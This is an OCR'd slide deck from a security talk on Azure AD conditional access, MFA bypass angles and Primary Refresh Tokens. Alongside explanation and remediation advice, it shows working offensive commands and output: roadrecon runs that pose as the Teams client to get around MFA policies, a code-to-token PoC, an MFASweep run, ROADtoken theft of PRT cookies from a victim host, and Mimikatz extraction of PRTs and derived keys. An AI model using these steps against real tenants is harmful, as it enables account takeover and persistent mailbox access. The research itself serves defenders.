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Talk outline

* What are conditional access policies?
* Basic policies — MFA

* Enumerating policies

* Primary Refresh Tokens

* Device Compliancy




Disclaimer

No 1337 h4x O-day bypasses in this talk, focus on understanding the
Inner workings and on improving security together.




Terminology

* Azure AD
* ldentity platform for Office 365, Azure Resource Manager, and
other Azure things
* Also identity platform for any first/third party app you want to
iIntegrate with it

* This Is not about Azure infrastructure/VMs/etc




What are conditional access policies

* Who can access what from where and how
* Evolved from binary “MFA or no MFA” switch
* Imo single most important Azure AD security feature

* Will play an even more important role in the next few years




Examples

* Any member of the group “Needs MFA" has to use MFA to sign in.
* Managers can only sign in from a compliant Windows 10 device.

* Users are not allowed to sign in from Android




Basic policies:
Multl Factor Authentication




Is MFA the magic solution to everything?




Attacker economics: bikes
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Attacker economics: public cloud

* Password spraying is extremely low cost/effort and scales great

* MFA adds effort/cost

* As long as there are orgs without MFA and ROl is high there, no
need to account for MFA with attacks
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Is MFA the magic solution?

* MFA is one part of the protection
* Attackers can phish MFA as well

* Eventually attacks will evolve beyond credential stuffing and MFA
won’t be sufficient anymore.

* Still: pretty please do enable MFA if you don’t have it enabled yet.




Ways to set MFA

* Per user-MFA
* All or nothing (every sign-in), with options to except IP ranges

* Conditional Access MFA
* MFA can be enforced depending on conditions




Per-user MFA

dirkjan@iminyour.cloud

multi-factor authentication
users service settings

Before you begin, take a look at the multi-factor auth deployment guide

forced bulk update

MULTI-FACTOR AUTH
DISPLAY NAME = USER MNAME . __ .
:'_1 T l:l. T |._.| l_

Select a user




Per-user MFA artifacts

Cep

Home activeauth

Users o
Principal Name

Groups

mfatestu
Devices
Directory roles

Applications

Service Principals

Application roles

Principal Typ

Application

MicrosoftAzureActiveAuthn

Description

Active Authentication Administrator




Per-user MFA (tl;dr)

* Adding a user gives them the “Active Authentication Administrator”
role

* Role does not give any privileges
* Removing the role does not remove the MFA requirement

* Can be queried by any user




Conditional access policies MFA

wditional
jether, to
anizational

policies. Learn more

Name *

AE 2 Control user access enforcement to block or
MFA require all

Assignments
Block access

Users and groups

Specific users included

Cloud apps or actions (D) Require multi-factor authentication (@

All cloud apps |

|:| Require device to be marked as
Conditions compliant (&

1 condition selected '-
- | | Require Hybrid Azure AD joined

Grant (i)

1 control selected '




Conditional Access — best practices

* The best policy is one that applies to:
* All clients
* All apps

* Selectively applying policies to different apps may leave room for
bypass




MFA exclusion examples

Device platforms

ed device platforms.

Select

Configure Locations

Include Exclude

I Location type : All types ' Trusted type All types

ons to exempt from the

TP e ———
) Search names

Include Exclude

Mame Location type Trusted
|—| Android |:| MFEA Trusted |Ps IP ranges

|:| Interna IP ranges

[ ] ios

|_| Windows Phone

| Windows

|| macOs




Device platform is based on user agent

Device platforms X

B Signintoyouraccour X [eg

. M
VIND @D N e B &

Apply policy to selected device platforms.
Learn more

Preferences...
Override for Domain
Configure

Yes Mo

Enable Random Mode

Be Microsoft

Default
policytest@iminyour.cloud

'oln] W
Include Exclude L

O Any device

\®) Select device platforms

Android

i0S

Nindows Phone

Windows / Firefox 74 You cannot access this right

now

Linux / Firefox 74

© Mac OS X [ safari 12

Your sign-in was successful but does not meet the
criteria to access this resource. For example, you
might be signing in from a browser, app, or
location that is restricted by your admin.

windows /IE 11

windows / Edge 44

Windows / Chrome 80

Sign out and sign in with a different account

Windows Grant X ows / Firefox 60 ESR

More details

macC5
Control user access enforcement to block or
grant access. Learn more

(®) Block access

T S 9 ¢ 22 T



Sign in to Microsoft

yoIn ® @O =

Preferences...
Cverride for Domain

Enable Random Mode

O Default

Desktop

Be Microsoft

policytest@iminyour.cloud

Stay signed in?

Do this to reduce the number of times you are
asked to sign in.

Don't show this again

Mo

Assignments

User
Policy test

Application
Azure Portal

Conditions

Sign-in risk
None

Device Platform

Location
Amsterdam, NL

Client app
Browser

Device state
MNone

User risk

& Matched

& Matched

@ Not configured

€ Not matched

@ Not configured

@ Not configured

@ MNot evaluated

® Not configured




Client apps condition

Client apps
Control user access

cloud apps

Select what this policy applies to

(WLIGERREY User actions

Include Exclude
Select the client apps this policy will app
Modern authentication clients
"| Browser
Mobile apps and
Legacy authe on clients

Exchange ActiveSync clients

‘:’ Offic

Other clients




From browser

=" Microsoft
policytest@iminyour.cloud

Enter code

[ We texted your phone +XX XXXXXXX51. Please
enter the code to sign in.

Having trouble? Sign in another way

More information




With “Microsoft Teams”

(ROADtools) user@localhost:~/ROADtools$ roadrecon auth -u policytest@iminyour.cloud -r https://
outlook.office.com/ -c 1fec8e/8-bced-daaf-ablb-5451cc387264 --tokens-stdout

Password:

{"tokenType": "Bearer"”, "expiresIn”: 3599, "expiresOn": "2020-12-09 22:22:22.980820", "resource
": "https://outlook.office.com/", "accessToken": "eylOeXAiQiJKVI1QilLCJub25jZ5I16Ikx4R19TekwlOF1pR
WoxeFNkQBozazclTmh2ZVM3R1hubEJGaEhKOGZITDQiLCIhbGci01JSUzZzIINIIsIngldCI6ImtnMkxZczJUMENUakimajRy
dDZKSX1uZW4z0CIsImtpZCIoImtnMkxZczJUMENUakimajRydDZKSX1uZW4z0C]19 . eyJhdW(i0iJodHRwczovL291dGxvb2
sub2ZmaWNLLmNvbS8iLClpc3MiOiJodHRweczovL3NOcy53aWskb3dzLm51dC82Mjg3Z2j142i00ZjdmLTQzMj It0TY1IMS1hO
DYSN2Q4ZmUxYmMvIiwiaWFOI joxNjASNTQIMDQzLCIuYmY1i0jE2MDcINDUWNDMs ImVAcCIGMTYwNzUGODKOMywiYWNjdCI6
MCwiYWNyIjoiMSIsImFpbyI6IkFTUUEYLzhSQUFBOQWNzOXBwMGo4b2dh059XUmQweckodOETDMHY 3eXIveGFIOXMxM]jNuemd




So much Teams

User icy test Token issuer type  Azure AD
Username policytest@iminyour.cloud

User ID 3513a6f7-65fc-4beB-b06d-b8f1bedfof01 210ms

Alternate sign-in name policytest@iminyour.cloud User agent yython-requests/2.23.0

Application Microsoft Teams

b ia Tl

Application 1D 1fec8e78-bced-daaf-ab1b-5451cc387 264

Resource Office 365 Exchange Online




https:/foutlook.office.com/apifv2.0/

Body

Fretty

.context”: "https://outlook.office.com/api/v2.0/$metadata#Me/Messages(Subject)

[

P

"@odata.id": "https://outlook.office.com/api/v2.0/Users("3513a36T7-65fc-4be8-b06d-ba8flbedfOfOlE6287F28-4Ff71-4322-9651-
i'HQT‘W&GEI{'-’[IAA"fEUZr-JiGEE;E_|'.-.'LTE:'-."“'ZI‘E0TEEHSEJZI*,}'_ RJNGY3M]c2YTgARQAAATDjSWETzQNPLykD4a5CZuBHAT jd5- 1 rok1MnrirMdpBobsAAALR

"@odata.etag”: "W COAAABYAAACY3ef036INTI64qzHalaGTAAAMABILY "™,

"Id": "AQMKAGZKMDAAYZ2UzNi85ZjgwlLTOwYzItOTEZMSOZN2ZRJNGY3M] c2YTgARgAAATE]SWELZONP1ykB4a5CZuBHATjd5-1rok1lMnrirMdpBobsAAAT

"Subject”: "Test Mail access'




Public apps to use with predefined Office 365
permissions

SQL1 ¥

1 SELECT appld, displayName FROM ApplicationRefs WHERE publicClient = 1 ORDER BY displayName ASC

appld displayMame
844cca35-0656-46ce-b636-13F48b0eecbd Microsoft Stream Mobile Native
1FfecBe78-bce4-4aaf-ab1b-5451cc387264 Microsoft Teams
87749df4-7ccF48F8-aa87-704bad0ele16 Microsoft Teams - Device Admin Agent

a25dbcaB8-4e60-48e5-80a2-0664fdb5c9b6 Microsoft.MilelQ

bc59ab01-8403-45c6-8796-ac3ef710b3e3 Outlook Online Add-in App

57fb890c-0dab-4253-a5e0-7188c88b2bb4 SharePoint Online Client
c58637bb-e2e1-4312-8a00-04b5ffcd3403 SharePoint Online Client Extensibility




Non-Office 365 apps

* No default permissions

* May still be some public apps which have been granted privileges
In the tenant

* Interesting corner case: Application proxy




appserver require MFA

Delete

Control user access based on conditional
access policy to bring signals together, to
make decisions, and enforce organizational
policies. Learn more

Name *

appserver require MFA

Assignments

I Cloud apps

Users and groups (1)

All users included and specific use...

Cloud apps or actions (i)

1 app included

Conditions (i)

2 conditions selected

Access controls

Grant (1)

1 control selected

Session (i)

0 controls selected

Control user access based on all or specific
cloud apps or actions. Learn more

Select what this policy applies to

User actions )

Include Exclude

O MNone

O All cloud apps

\®) Select apps

select

dppserver

dppsernver
0de?0161-ae5d-466b-b936-6fGaccd28..

L]

*

Client apps

Control user access to target specific client
applications not using modern authentication.
Learn more

Select the client apps this policy will apply to

Modern authentication clients
Browser
|:| Mobile apps and desktop clients
Legacy authentication clients
|:| Exchange ActiveSync clients
|:| Other clients (@
lﬂl since this policy was created, the default

client apps configuration has been
updated.




Application proxy default APl permission available

Rome I"]i"l:\-"ZZ.I"': oud dppserver

& appserver | Expose an APl %

Search (Cmd+ 7 Got feedback?

Cwerview

Application ID URI | http://customappsso/7016b259-4f94-4d8f-97el-cc22bb(08283
Quickstart

" Integration assistant

Scopes defined by this API
Manage ' : : L . :
Define custom scopes to restrict access to data and functionality protected by the APl An application that requires access to parts of this

& Branding API can request that a user or admin consent to one or more of these.
2 Authentication Adding a scope here creates only delegated permissions. If you are locking to create application-only scopes, use 'App roles' and define app roles assignable to application

o type. Go to App roles.
Certificates & secrets

Token configuration Add a scope

API permissions Scopes Who can consent Admin consent display ...  User consent display na... State

Expose an API Ttto://customappsso/7016b259-4f94-4d8f-97e2- Admins and users Access appserver Access appserver Enabled

App roles | Preview




Application proxy permissions

* No default permissions to access custom apps from public OAuth
clients

* Default Iimpersonation permission exposed

* If user consent to permissions is enabled, can grant permissions
themselves to existing application to access the app proxy




Direct flow (browser) triggers MFA

&° Signinto vouraccount X

< C @ © & hteps:;//login.microsoftonline.com I ® @

[ Microsoft

policytest@iminyour.cloud
Enter code

[ We texted your phone +XX XXXXXXX51. Please
enter the code to sign in.

IQ ode

Having trouble? Sign in another way

More information




ldentity platform dynamic consent

* Applications have “Default” permissions, but can also request
permissions dynamically at runtime

* For any public application, you can request them yourself (provided
user consent is enabled)

* No admin approval required




Permission request URL

https://login.microsoftonline.com/iminyour.cloud/oauth2/v2.0/authorize?response_type=
codeé&client_id=1fec8e78-bce4-4aaf-ablb-5451cc387264&scope=https://appserver-
Iminyourcloud.msappproxy.net//user impersonation&redirect_uri=https://login.microsoft
online.com/common/oauth2/nativeclient&state=3f8b08ef-0a79-4a0e-a90b-

d617/ff74933e




Microsoft
policytest@iminyour.cloud

Permissions requested

Microsoft Teams

micro t.com

This app would like to:

Access appserver (appserver)

rver will also have access to your user

statement. The pubhsher has nnt provided links to their
terms for you to r‘ewew : 1ese permissions at




Return code

https://login.microsoftonline.com/common/oauth2/nativeclient?code=

&state=3f8b08ef-0a79-4a0e-a90b-d617ff74933e&session_state=3a42bd40-b996-
46f8-a42d-156b59a62138




Some POC code to convert codes to tokens

flrom roadtools.roadlib.auth import Authentication
= Authentication(client id [| '1fec8e78-bced-4aaf-ablb-5451cc387264")

auth.resource uri = "https://appserver-iminyourcloud.msappproxy.net/’
codg = '0.AAAAj KHYn9PIkOWUahpfY hvHiO7B kvK9KqxtUUcwdcmROAAA.AQABAATAAAB2Uyzwt
url] = "https://login.microsoftonline.com/common/oauth2/nativeclient’

print(auth.authenticate with_code(code, url})

(ROADtools) user@localhost:~/ROADtools/pocs$ python codetotoken.py

{'tokenType': 'Bearer', 'expiresIn': 3599, 'expiresOn': '2020-12-10 12:34:04.996002"', 'resource’
: 'https://appserver-iminyourcloud.msappproxy.net/', 'accessToken': 'eyJ0eXAi0iJKV1QiLCJhbGci0il
SUzZIINiIsIngldCIeImtnMkxZczJUMENUaklmajRydDZKSX1TuZW4z0CIsImtpZCIoImtnMkxZczJUMENUak1majRydDZKSX1
uZW4z0CJ9. eyJhdWQiOiJodHRwczovL2FwcHNLcnZlcilpbWlueW9lcmNsb3VKkLmlzYXBwcHIveHkubmVOLyIsImlzcyI6In
lhﬂdHBzﬂiEvaBRzLndphmRudBMubmvﬂLz?yﬂndejthTRmNEYtNDMyMiESNjUxLWEdeHBEDhmETFi?yEiLEJp?KUiﬂjEZME
clOTYxNDUSImS1iZiIoMTYwNzUSNJEONSwWiZXhwIljoxNJAINJAWMDQILCIhY3Ti0iIxTIiwiYWlvIjoiRTISZ11NaTg5ZTFhS2
ZZBRmh3ZFBiQnpPZmQrWDFHTnIQeVdIMDdGWmRvVmh3ZnF3akY4QSIsImFtciIoWywd2QiXSwiYXBwaWQi0iIxZmVjoGU30C
1iY2UBLTRhYWYTYWIxYi01INDUxY2MzODcyNjQiLCIhcHBpZGFjciIBIjALILCIpcGFkZHI101iI4AMCA420544MS40TiwibmFtZS
I6I1BvbGljeSBOZXNOIiwib21kIjoiMzUxM2E2ZjctNjVmYyO0YmUALWIWNmQtY jhmMWILZGY5ZjAxIiwicmgiOiIwLKkFBQU
FgXOtIWW45UELrT1dVYWhwZ11faHZIaU83Q19rdks5S3F4dFVVY3cOY21SMEFLZy41LCIzY3A101]1c2VyX21tcGVyc29uYX

4



Add token to request

[ljﬂgmalrequeatTIEdﬁedrequest]fﬂespnnse1

Raw T Params T Headers T Hex ]

GET / HITP/1.1

Host: appserver-iminyourcloud.msappproxy.net
= User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux xB86 &4; rv:83.0) Gecko/20100101 Firefox/B83.0
 Accept: text/html.application/xhtml+xml,application/xml;g=0.9, image/webp, */%;g=0.8
Authorization: Bearer
ey JOeXA101IKV1IQ1LCIhbGe10135UzI1IN1IsIngldCIEImt nMkx Zcz JUMENUaK L ma] Ry dDZKSKL uZWdz0CIsImt pZCIG]
YyB1LCIpYX010] EZMDcl0TUIMzesImE1 Z1 IaMT whNz USNT Uz Nywl ZXhwI] oxMNj ASNTEkSHNDMILCIhY3T101IxT1wl YWl v
1wlbmFt ZSIETI1LBvh Gl ] eSEOZXNOI1wib 2l kIj o1l MzUxM2EZ2Z] ct Ny VmYy O mUALWIwMNm Gt Y] hmMWI1 ZGY5Z] AxIiwlc
YEMNGY3Z100MzIyLTk2ZNTEEY Tg20Tdk OGZL MWI] I 1wildWSpc XV X25hbWU1 01 Jwh 2x pY 31 0ZXMNO0GLt aWssh3VyLmNsh 3
EIUeSAhuPyPzZ2km- - SEXuU-RnJXkRIEGUpYNGL1 o ATVZDZLKEKudZmMRhECWWOy mOLOy ThTowSy 7Y SZCz 1 VDEFqy QUO1 U
Accept-Language: en-Us,en;g=0.>
Accept-Encoding: gzip, deflate

5 DNT: 1

o Connection: close
130 Cookie: AzurelppProxyAnalyticCookie 0Ode70161-aeSd-466k-b936-6T6accd28ddS 1. 3=3|bGV7EY /bPE0+2H

Upgrade-Insecure-Requests: 1




Request kind of succeeds

This page can't be dis

— & @ msappproxy.net

GatewayTimeout:
The corporate app cannot be accessed




Application proxy app specific bypass

* Kind of a corner case
* Requires specific policies
* Requires user consent to be enabled (not much of a default
anymore)

* Still cool technique (I think) involving OAuth2 token magic




Enumerating policies




ldentifying MFA/policy bypass angles
PS C:\Users'ntu- Invoke-MFASweep -Username policytest@iminyour.cloud -Password $passw

[*] Checking 1T ADF5: configured...
[*] ADFS does not appear to be 1n use. Authentication appears to be managed by Microsoft.

* ldentify by trying:
———————————————— Microsoft Graph APT —-——--—————————
® M FAsweep [*] Authenticating to Microsoft Graph API...
[¥] SWCCESS! policytest@iminyour.cloud was able to authenticate to the Microsoft Graph API
by Beau Bullock

———————————————— Azure Service Management APT ————————————
[*] Authenticating to Azure Service Management API. ..
[*] SWCCESS! policytest@iminyour.cloud was able to authenticate to the Azure Service Management APT

———————————————— Microsoft 365 Exchange Web Services ————————————
[*] Authenticating to Microsoft 365% Exchange Web Services (EWS)...
[¥] SWCCESS! policytest@iminyour.cloud was able to authenticate to Microsoft 365 EWS!

———————————————— Microsoft 365 Web Portal -—-——-—-————-
[*] Authenticating to Microsoft 365 Web Portal...

[*] SWCCESS! policytest@iminyour.cloud was able to authenticate to the Microsoft 365 Web Portal. Checking MFA now. ..

———————————————— Microsoft 365 Web Portal w/ Mobile User Agent (Android) -----——————————-
[*] Authenticating to Microsoft 365% Web Portal using a mobile user agent...

[¥] SWCCESS! policytest@iminyour.cloud was able to authenticate to the Microsoft 365 Web Portal. Checking MFA now. ..

———————————————— Microsoft 365 ActiveSync ————————-
[*] Authenticating to Microsoft 365 Active Sync...
[*] SWCCESS! policytest@iminyour. cloud successftully authenticated to 0365 ActiwveSync.

https://github.com/dafthack/MFASweep/ \ %



Explore them with credential access

* roadrecon plugin policies

MPFA for office

Applies to Including: Users in groups: mfa for office

Applications Including: All Office 365 applications
Using clients Including: Browser

Controls Requirements: Mfa




appserver require MFA

Including: All users

Applies to Excluding: Users: Hf M

Applications Including: Applications: appserver
Using clients Including: Browser

Controls Requirements: Mfa

device stufft

Applies to Including: Users in groups: ca hybrid device
Applications Including: All Office 365 applications

Controls Requirements: Mfa, BequireDomainjJoinedDevice

MFA require all

Applies to Including: Users: legacy
Applications Including: All applications
Using clients Including: Browser, Native, EasSupported, EasUnsupported

Controls Requirements: Mfa




Primary refresh tokens




Let’s assume the policies are perfect

* MFA required everywhere
* Let’s ignore phishing with MFA for a bit

* No legacy auth/exceptions etc




Back to the endpoint

* Endpoints are trusted

* Can be elther:
* Hybrid joined
* Joined to Azure AD
* Registered in Azure AD (workplace joined)

* Don’t want to enter credentials all the time, so SSO magic comes
Into play




Primary Refresh Token

* Cryptographic trust established between device and Azure AD
* Allows for the exchange of longer lived SSO tokens: PRT

* Token secrets are stored in TPM if present




Primary Refresh Token SSO

* Any app in the user session can request SSO data
* Via RPC or helper applications (emulating Chrome)

* References:

* RPC Approach (by Lee Christensen):
https://posts.specterops.io/requesting-azure-ad-request-tokens-
on-azure-ad-joined-machines-for-browser-sso-2b0409caad30

* Pretend-to-be-Chrome Approach with ROADtoken:
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-
token/
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ROADtoken

* |nitialize flow on attacker host

(ROADtools) user@localhost: ¢ roadrecon auth --prt-init -r https://outlook.office.com/ -c lfecB8e78-bced-4daaf-
blb-5451cc387264 --tokens-stdout

Requested nonce from server to use with ROADtoken: AQABAAAAAAB2Uyzwt(QEKR7-rWhgdcBZIvT8FWqPDpXFFSMtOlopaoPouwl ubFnUGZre
ArToSVH tsk7SItftpH DU ztSdv800cX]8gvDT8LLtW35gXSAA

* Request SSO token on victim host

PS C:\Users‘\joebiz\Desktop> .“ROADToken.exe AQABAAAAAABZUyzwEQEKRT-rWbgdcBZIvT8FWqPDpXFFSMtOlopaoPouwl ubFnUGZré8gArTosVH_tsk75ItftpH_DU =zt
SdvB0BcXI18gvDFBLTTWIS g SAA
Using nonce AQABAAAAAABZUyzwtQEKRT-rWbgdcBZIvT8FWgPDpXFFSMtOlopaoPouwl _ubFnUGZrégArToSVH_tsk7S5ItftpH _DU_ztSdvB08cXIBgvDFBLttW3SgXSAA suppl
ied on command line
Len 265

{ "response": [{ "name": "w-ms-RefreshTokenCredential®™, "data"™: "eylhbGci0ilIUzIINiIsICIjdHgi0ilxZU9sbG5mSIVEUIMrdWlilaSodnFVYWZ TaHpXW1Q|
80519, eyIyIWZyZXNoX3Rva2VuljoiMCSBQUFBalILSF1uOVE]a@9XViWFocGZZX2h2SWM3 cWpodGICZELzblY2 TVt STIUMDBBUGS uQWdBQKFEQUFBQUIyVX16d3RRRUESNy1yV2In
ZGNCWK1BUURZzX3dIQT1QOHZFMVFTVNNs LW1aUUtRRUTOR19EUKISYN1 jbmh1LW1l jZ1JHaVBBWDExd B j c ESmODUBNEt MM 1+ TkRHVD] 3dkWat ZXNKZHVENS@@aGRZMFkzNjhZd1VYZ3
BuSUdxZzRMV@IxYTdQd2Y¥eZ31pd TFtNINBWKIKNLZtNUFRLUoZzT1hhYjhuVlgdY2wtMmle@NFUz cUhvUzRWQWIpNT cxZV1kelMBenUzMDAYZTRINWZsS1pwZndSUDItenNjVUIHRGZ2




PRT Auth

* Use PRT cookie to authenticate, get token

(ROADtools) user@localhost: ¢ roadrecon auth --prt-cookie eylhbGciOiJIUzIINiIsICIjdHgi0iJONVN]OQXd1lTkOweXIKTms3
XC8wdDdnTWpiV2IHMNRNMUY1fQ. eylyZWZyZXNoX3Rva2VuljoiMC5BQUFBal9LSFLuOVBlaf9XVWFocGZZX2h25WM3 cWpodGICZELzb1Y2TVdtSTIUADBBU
GsuQWdBQkFBQUFBQUIyVX16d3RRRUtSNy1yV2InZGNCWKk1BUURzZX3dJQTLQOHZFMVFTVnNsLW1aUUtRRUtOR19EUKISYn1ljbmh1LW1ljZ1JHaVEBWDBxdjBjc
UEifQ.Tu3z8Px5xgulLOEIVZhUS4UTWIRNWhMEMN]j5Tt-jZCk -r https://outlook.office.com/ -c 1fecBe78-bced-4aaf-ablb-5451cc387264
--tokens-stdout --debug
{"tokenType": "Bearer", "expiresIn”: 3599, "expiresOn": "2020-12-10 13:37:00.956840", "resource": "https://outlook.offic
e.com/", "accessToken": "eylOeXAi0iJKV1QilLCJub25jZ5161i1jRnhaRTM2ZMDNHVKMyTFZQSTkzYnpaeXcO0UxPcFNGUNnFla2dpQjY25XMiLCIhbGce
10i1JSUzI1INiIsIngldCI6ImtnMkxZczJUMENUaklmajRydDZKSX1uZW4z0CIsImtpZCI6ImtnMkxZczJUMENUak1majRydDZKSX1uZW4z0C)9. eyJhdWQi0i
JodHRwczovL291dGxvb2sub2ZmaWN1LmNvbS81iLCIpc3Mi0iJodHRwczovL3NOcy53aWskb3dzLm51dC82Mig3Z114Z2100ZidmLTQzMiItOTY1IMS1hODYSN2

* Token claims:




Advanced things — Device state

Policies can require a compliant /
hybrid joined device

Require multi-factor authentication @

|_| Require device to be marked as
™ M =1 |_..I

Compliant: compliant @

Require Hybrid Azure AD joined
device (D

Managed by Intune (Winl10/mobile)
In line with Intune polices (] Requre pproved it spp ©

See list of 2 client apps

|:| Require aj

Joined to AD and Azure AD ] Require password change Preview) @
(managed by JA\D) GPO,S) For multiple controls

@) Require all the selected controls

(®) Require one of the selected controls




Policy details

ROADtoken sign-in

Policy: device stuff
Policy state: Enabled
Result: Success

Passes this policy because it
originated from the SSO token

Sign-im risk

Device Platform

Location

Access controls

Grant Contrals




Persistent mail access

Refresh token does not expire if handled correctly

0365-attack-toolkit Home About | GetURL

Search result for : secret

Sender Recipient Subject Body Preview

Secret message Attached is grandma's secret apple pie recipe, please keep this to yourself. View e-mail

Slightly modified version of https://github.com/mdsecactivebreach/o0365-attack-toolkit
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PRT and device state

* PRT Is tied to device

* If device Is disabled, PRT is disabled, but refresh tokens keep
working unless a policy is triggered that requires compliant/hybrid
device.

* Refresh token refresh will re-evaluate access policies, so if done
from different IP may deny you or trigger other polices




In case of device breach

* Change user password

* Disable device in Azure AD (and reinstall)

* Revoke refresh tokens




PRT as admin

* Few theoretical observations:
* If admin, it should be possible to extract the PRT if not in TPM
* Maybe some techniques to interact with PRT even if in TPM
* Fake your own device registration, obtain PRT?




PRT as admin

* More research in combination with Benjamin Delpy (@gentilkiwi)

* Built a combination of Mimikatz and ROADtools to obtain and use
the PRT




Mimikatz magic

mimikatz # sekurlsa::cloudap
N

_Authentication Id : @ ; 385961 (©2000000:0804ab29)

;595510n : Interactive from 1

User Name : joebiz

-Domain : cloud

Logon Server : iyc-dc

“Logon Time : 12/168/2828 12:24:25 PM

SID D 5-1-5-21-474887866-688359931-2897898248-11a7

: cloudap :

v Cachedir : ab6518ae32917eac6l8388e53acb9418a2426332e20c7a933bbdo76d4ecofe7ca

Key GUID : {32ddat68b-del5-4b35-9bc5-1cbd59c@c?52}

PRT : {"Version":3, "UserInfo":{"Version":2, "UniqueId":"7c38eB62-7411-469d-a317-fb6667ee78f6", "PrimarySid":"S5-1-12-1-26884182242-11
--87248769-120640880034-3831843458-3027591388" ], "DisplayMame":"Joe Biz", "FirstMame":"Joe", "LastMame":"Biz", "Identity":"joebiz@iminyour.cloud”, "Downl
DomainNetbiosName":"cloud"”, "PasswordChangeUrl™:"https:\/\/portal.microsoftonline.com\/ChangePassword.aspx"”, "PasswordExpiryTimelLow":3583418367, "Pass
Te":@, "Flags":8}, "Prt":"MCSBQUFBal9LSFluOVEIa@9XVHFocGZZX2h25WM3cWpodGICZELzblY2TVAESTIUMDEEUGS uQWdEQkFEQUFEQUIyVX16dIRRRULSNy 1yV2InZGNCWK1BUURZX3dIQ
alWDBxdjBj-:E5mDDUBNBtMMXl‘FTkRH‘u’Dl3dwfl-tEXNKEHUtNSBBaGREMFkZNjhEdlU‘\"E3Bu5UdKEZRM‘I.I’B:IK‘\’TdeZ‘fBE31pdTFtN1NBWkJENlEtNUFRLUDZTihh‘\"jhu‘lu’igfl-‘\"ZthmlBNFUZcUthZRwa
EGNEU1RHhkh]MjIBbBQBTlQMEH1IWkBZthicUKIWXUCUGhQUkiCWkNCSkEkWWdSUEtavavdjhlaHNiLTU?QUUWUHEpDGSicEF?THUVRjBBQme5thSZRNDUEwNkRBbBRQUWktdlBtdzRqWvaaUE
r NEVk1qcE1WVXVMb2dxckYwcHFFNIdKMT1 pdWZXZk11MnItcz ZWYVFjUS1EMLUyUeNpNDBYNN L iWHkxZU91aUxvcVY@QXVQRzISSUdrSkxNcnVHLVIQUWTEKV]Yebnd TVz dueVpxWWZ 20k5MS2RFX1IR




PRT with TPM

TPM




Mimikatz magic with TPM

mimikatz # dpapi::cloudapkd /keyvalue:AQAAAATAAAABAAAABIyd3IWEVORGMegDATEKXOWEAAACSMZ7rsGLIRZRXWbEI-STIOAAAAAATAAAAAABEMAAAAAQAAT
AAAALaVDb] JqukxSL-VhL1hUsKeiBfAWrakiMaluNB-BVDgAAAAAAAGAAAAAASAATAAAABCT JAUPSRQFQroYMv1Zg G gvn6dZ2d-C2LTrIbRyXSEAEAAOPA3poIF7IF
ANMIXYadnSc-@8tgk3-t6lxdVsbgibil edgvdGlR-60MGTaxVsC51-gBVhIxIK7ADH2ZFS6EIwfMAXVMIVODVCcZhNrdo Zyd6rzz2Cytyfv272Qc0xtdaw8HtvCteNQy
T2N7dvF2gtjU-tec ZkIQF3] EQGdimmD72VASDgabE8Kwb61Y7Nb2GDWX495akwNCRN8x4wY - h]j208Wo-ISU6aulDQ- 2sneKMq8zDQ6TnAHOWVPoz6BS6FZwhDy8I 8
¥Yn3fHgo71tv4BxbGovYI8wBmYU-15yTkvgF4erjX1K1YgeDwfZa2GvrozSKuKziUzGBAClp3zUAUEV]1uoxSpdR3 OkZCDIHULHQAAAATKDXQa jUpID54aBoDlnBgE34
)CCADuUcWBgOR5N -qOXYGpsnNUgZBQTt3HMCxcBYVvpiNYHTZSyxWETZF_pu8INFFQ /unprotect

Label : AzureAD-SecureConversation

Context : 7tel7be2844052686ddca32d1d47e23b227482e7c3568ede2
* using CryptUnprotectData API

Key type : TPM protected (DPAPI)

Key Name : SK-1998585e-7fa7-1922-e981-cad78e41855b

Opaque key : 687ebb206t617ad3eB83ca5169439858781cdbt18acc2a5d3b2cbtd79+92706345d96tccbcBB18+936a78e606e8753ea054d4d12a6bb764cB861f
00666CcaBfcl8dea7eBadB531do998alldbtefe8adl5Bd7e61745d8c59cb59abded199426279b3168+ced48T9ctc7adl1cs7155ea516a31d8cc7fcb9e787e7d7c
c95eaddbce383d3l0e300008000b0004044000000005000b00203d75eb573192ca9351b27e4392d28dBac9137aa85867ece31084d483de966FC75

Derived Key: blffa3e54db8a3c2c758%afBdcaf71698178668483bbbb68298b4debbb83a3ces




Use derived key and context to recreate PRT cookie

(ROADtools) user@localhost:~/ROADTools$ roadrecon auth --prt-cookie eyJOeXAi0iJKV1QiLCJhbGci0iJIUzIINiIsI
mNOeCI6ImlhejZPeE1TWjZIVnhpWiRrVmlZVmhtVGOPend2M19QIn0. evIvZIWZyZXNoX3Rva2VulioiQVFBOKFBQUFBQUFHV191idiIxbl
FRNFIPcWgwXzEtdEFaRmVYbWowbnU2cS0xRzUSTE1Ud2!

10DJiVEdST2xCSDZGVjhxcjViZ2hkUONsQjZvN3ppWFRI

bVdjRXVKNOxscVRMMOOELXg2TESFeFZQOUpVbTBZWD Iyl

FRoaExvV2VPVzRKMEhBem]qeFRKUFBPOQWZsVVI45FZVMI

YOYULGY2dGT1FrQVE3VnhrZkhmajEyLVRKMVM3dUNTVm!

OUWxaY3RrcFZzN1LJtTXBtRkIJwecmRua®d251Mzc210Y 3o

UONWb21UMzdIZUg3RDICcGpWe19XUnpoYmNaWDLXYTZ6!

E10UndIZnZOdEISZjRjWmFjQS1ESVpBQkZwZKkI6N] LuV:

JFb2FDYzJYQjYxdmglYjZESVM4d19PcndGU2ZhlcnclOm.

EMXNMZOpGeX1XRLhsQklgZUtxTWt1SmbwlDINS2xKRjBI

cFNRb3VyR1h3anNLWDBEMXRnMEwxbGN1eFhXc1JyMzNH:

3¢c2eVBkVHdQZUdIOC1oWLRkdy1vVHI3d2V4MHIaeEZEUI

hwdEJYLVRKWTBucE8zQ1VvLW5qVnM5VFNpampnSOF3ZHZTVDgzNjg3clpnd LhJUWhOTGLOMjJzcjRrZ1puMLBITVyTOtZM2xqWj ZidTF
oYTZhUmNiZ2U1Ti1SeFI3SzdkZmpCbhWolROh1SEQVY1nhUBFRTiwiaXNfcHIpbWFyeSI6InRydWUiLCIpYXQi0iIxNTk2NjQ4NjAxInG.
BRnOOVaNAa98KhaGalTth: --prt-context|8096c7092a6T23cd574844187Te@117711475694798efeb
7| --derived-key| T7c8a549e5d7998743d6ab38a3039cde/el9d/e5bldb76a6002%e8aabaal242b

Re-signed PRIT cookie using custom context

Tokens were written to .roadtools auth




PRT as admin TL:DR

* If you're admin on a device with a PRT, you can steal the PRT if it's
not in TPM

* If it is in the TPM you can still acquire context/derived key
combinations which allow you to use the PRT without the device

* PRT / Cloud credentials not covered by Credential Guard

* Longer version:
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/




Device compliancy




